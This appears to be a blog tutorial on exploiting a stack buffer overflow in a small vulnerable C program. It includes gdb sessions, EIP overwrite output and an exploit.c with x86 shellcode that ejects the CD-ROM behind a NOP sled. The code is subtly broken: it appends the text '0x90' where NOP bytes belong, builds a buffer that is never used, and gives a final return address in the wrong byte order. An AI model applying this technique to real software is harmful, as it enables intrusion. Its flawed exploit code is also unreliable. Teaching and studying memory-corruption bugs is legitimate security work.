16 Nov

Buffer Overflow Attack Tutorial By Example

read & learn..

Our vuln program:

———- bof.c ————–

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char str[10];
strcpy(str, argv[1]);
printf(“Done”);

return 0;
}

———- bof.c ————–

As you see, argv[1] is copied to str (str can contains 10 characters)
Try to think – What happens when we load more than 10 bytes on str? You’ll see.

Lets try compile the program and load 12 bytes:

 

niv@niv-desktop:~/Desktop$ gcc-3.3 bof.c -o bof
niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x12’`
Doneniv@niv-desktop:~/Desktop$


The program has been successfully compiled even though we loaded 12 bytes, which means 12 bytes aren’t enough to overflow the program.

Lets try to overflow the program with 14 bytes:

niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x14’`
Doneniv@niv-desktop:~/Desktop$


Failed. Again.

Lets load 32 bytes this time:

niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x32’`
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$

In case it says: /*** stack smashing detected ***/ or something that appears to be like this error, just go to the terminal, type: sudo apt-get install gcc-3.3 and when compiling it type gcc-3.3 example.c -o example instead of gcc example.c -o example.

We made it, we overflowed the program.

Now we’ll check more further what exactly happend:

niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i486-linux-gnu”…
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e ‘print “A”x60’`
Starting program: /home/niv/Desktop/bof `perl -e ‘print “A”x32’`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141       0x41414141

 

We overwrited the EIP with A’s (A = 41 in hex) – The EIP is the Instructor Pointer, it points at the next instruction.

Now we can start writing our exploit.
Our exploit is gonna contain the NOPSLED + Shellcode + the address of the shellcode (the RET).
The NOPSLED is a chain of 0x90’s (NOPSLED = NO OPeration) so the NOPSLED will be placed before our shellcode.
The NOPSLED helps us so we don’t have to jump exactly to the place in memory where our shellcode begins.

———- exploit.c ————–
#include <stdio.h>
#include <string.h>

char exploit[2048];

int main(void)
{
int i;
/*
 * (linux/x86) eject cd-rom (follows “/dev/cdrom” symlink) + exit() – 40 bytes
 * – izik <izik@tty64.org>
 */
char shellcode[] =     
    “\x6a\x05”              // push $0x5 
    “\x58”                  // pop %eax 
    “\x31\xc9”              // xor %ecx,%ecx 
    “\x51”                  // push %ecx 
    “\xb5\x08”              // mov $0x8,%ch 
    “\x68\x64\x72\x6f\x6d”  // push $0x6d6f7264 
    “\x68\x65\x76\x2f\x63”  // push $0x632f7665 
    “\x68\x2f\x2f\x2f\x64”  // push $0x642f2f2f 
    “\x89\xe3”              // mov %esp,%ebx 
    “\xcd\x80”              // int $0x80 
    “\x89\xc3”              // mov %eax,%ebx 
    “\xb0\x36”              // mov $0x36,%al 
    “\x66\xb9\x09\x53”      // mov $0x5309,%cx
    “\xcd\x80”              // int $0x80 
    “\x40”                  // inc %eax 
    “\xcd\x80”;             // int $0x80 

for(i = 0; i < 512; i++)
    strcat(exploit, “0x90”);

strcat(exploit, shellcode);

printf(“Loaded.\n”);

return 0;
}
———- exploit.c ————–

niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.


Run our vuln program so we could find the RET, the address of our shellcode.
After we run it, we’ll look for the ESP – the ESP points on the last element used on the stack.
Check this out:

niv@niv-desktop:~/Desktop$ gcc-3.3 exploit.c -o exploit
niv@niv-desktop:~/Desktop$ ./exploit
Loaded.
niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x60’`
Segmentation fault (core dumped)
niv@niv-desktop:~/Desktop$ gdb -c core ./bof
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.  Type “show warranty” for details.
This GDB was configured as “i486-linux-gnu”…
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
/home/niv/Desktop/core: No such file or directory.
(gdb) run `perl -e ‘print “A”x60’`
Starting program: /home/niv/Desktop/bof `perl -e ‘print “A”x60’`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/s $esp


You’re gonna get these things:

 

0xbf949694:      “`???}_???o??\002”
(gdb) 
0xbf9496a2:      “”


etc’…
Keep searching until you see something like this thing:

 

0xbf9496e0:”7?\224?J?\224?U?\224?i?\224?y?\224??\224?\002?\224?\024?\224?*?\224?3?\224???\224??\224?\v?\224?\030?\224?N?\224?Y?\224?q?\224???\224??\224???\224???\224?\025?\224?&?\224?;?\224?D?\224?W?\224?n?\224?v?\224?\205?\224???\224???\224?\024?\224?P?\224?p?\224?}?\224?\212?\224???\224??\224?”


0xbf9496e0 is the address of our shellcode (the RET)
To make our exploit work properly, we need to overwrite the EIP with our shellcode.We’ll take our old address (0xbf9496e0) and do this thing:

Take our address and make it look this way: bf 94 96 e0
Grab the last bytes (e0) and do the following:
we’ll block the characters between \’s (slashes), add x in each block -> \xe0\
you’ll do the same to each 2 chars and then put them in order that the last bytes of our the address will be the first one in our new address:

 

0xbf9496e0 -> \xe0\x96\x94\xbf


Now, we are gonna reach our shellcode this way:
Since we overflowed the program with 32 bytes (32 A’s),
and our RET’s length is 4 bytes we are gonna subtract the length of our shellcode address(the RET) of the A’s,
and we are gonna print 28 A’s (32 A’s – 4 bytes (RET’s length) = 28) and the RET so we could reach the shellcode successfully.

 

niv@niv-desktop:~/Desktop$ ./bof `perl -e ‘print “A”x28’“printf
“\xbf\x94\x96\xe0″`


I suppose you already understood what’s about to happen if you have read the exploit 🙂

Original Link

Comments are closed.